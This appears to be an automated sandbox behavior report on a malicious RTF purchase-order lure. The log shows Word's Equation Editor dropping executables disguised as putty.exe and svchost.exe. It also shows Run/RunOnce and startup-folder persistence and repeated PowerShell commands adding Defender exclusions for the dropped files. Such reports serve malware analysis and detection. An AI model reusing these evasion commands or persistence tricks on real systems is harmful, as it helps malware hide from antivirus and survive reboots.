Source: unknown	Process created: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe'
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 1132
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1132
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 1132
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe

Source: C:\Users\user\AppData\Roaming\putty.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: Customer-unionroadwaysltd-8754-PO.doc__.rtf

Static file information: File size 1323327 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2137100972.000000000587D000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.2138498302.000000000596D000.00000004.00000001.sdmp, powershell.exe, 00000008.00000002.2147694202.00000000063DD000.00000004.00000001.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbV source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp
Source:	Binary string: indows\System.Management.Automation.pdbpdbion.pdbB source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp
Source:	Binary string: ??\C:\Windows\system32\netutils.dllhell\v1.0\netutils.dllnfig\v2.0.50727.312\security.config.cch.2428.5608532ion.pdby.resources.exes.exeI.ni.dll source: powershell.exe, 00000006.00000002.2124274813.00000000005A3000.00000004.00000020.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp
Source:	Binary string: ??\C:\Windows\system32\netutils.dllhell\v1.0\netutils.dllnfig\v2.0.50727.312\security.config.cch.2852.5607814ion.pdby.resources.exes.exeI.ni.dll source: powershell.exe, 00000004.00000002.2121584648.00000000003A3000.00000004.00000020.sdmp
Source:	Binary string: ??\C:\Windows\system32\netutils.dllhell\v1.0\netutils.dllnfig\v2.0.50727.312\security.config.cch.2428.5644287ion.pdby.resources.exes.exeI.ni.dll source: powershell.exe, 0000001A.00000002.2203612690.0000000000375000.00000004.00000020.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000006.00000002.2138164433.00000000053D0000.00000002.00000001.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp

Source: putty.exe.2.dr

Static PE information: 0xEED614AA [Sat Dec 22 09:36:42 2096 UTC]

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_05650A5C push 04418B05h; ret	4_2_05650A63
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_05650721 push 18418B05h; ret	4_2_05650793
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_05650A91 push 04418B05h; ret	4_2_05650AB3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_057109F1 pushad ; retn 0062h	17_2_05710A09
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 19_2_00BC571B pushfd ; retf	19_2_00BC571C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 19_2_003F1BE5 push ebx; iretd	19_2_003F1C52
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Code function: 20_2_0111571B pushfd ; retf	20_2_0111571C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Code function: 32_2_0111571B pushfd ; retf	32_2_0111571C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Code function: 32_2_001F1BB3 push ebx; iretd	32_2_001F1C52
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Code function: 34_2_002C571B pushfd ; retf	34_2_002C571C

Persistence and Installation Behavior:

Drops PE files with benign system names

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe

File created: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe

Executable created and started: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\putty.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\putty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\putty.exe	File created: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\putty.exe	File created: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\putty.exe

File created: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe

Jump to dropped file

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce e888z168ybTRefC409a4S5mn41ofdd

Jump to behavior

Creates multiple autostart registry keys

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run qweruiuyt
Source: C:\Users\user\AppData\Roaming\putty.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce e888z168ybTRefC409a4S5mn41ofdd			Jump to behavior

Drops PE files to the startup folder

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\putty.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce e888z168ybTRefC409a4S5mn41ofdd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce e888z168ybTRefC409a4S5mn41ofdd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce e888z168ybTRefC409a4S5mn41ofdd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce e888z168ybTRefC409a4S5mn41ofdd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run qweruiuyt
Source: C:\Users\user\AppData\Roaming\putty.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run qweruiuyt

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe:Zone.Identifier read attributes \| delete
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	File opened: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe:Zone.Identifier read attributes \| delete

Source: C:\Users\user\AppData\Roaming\putty.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
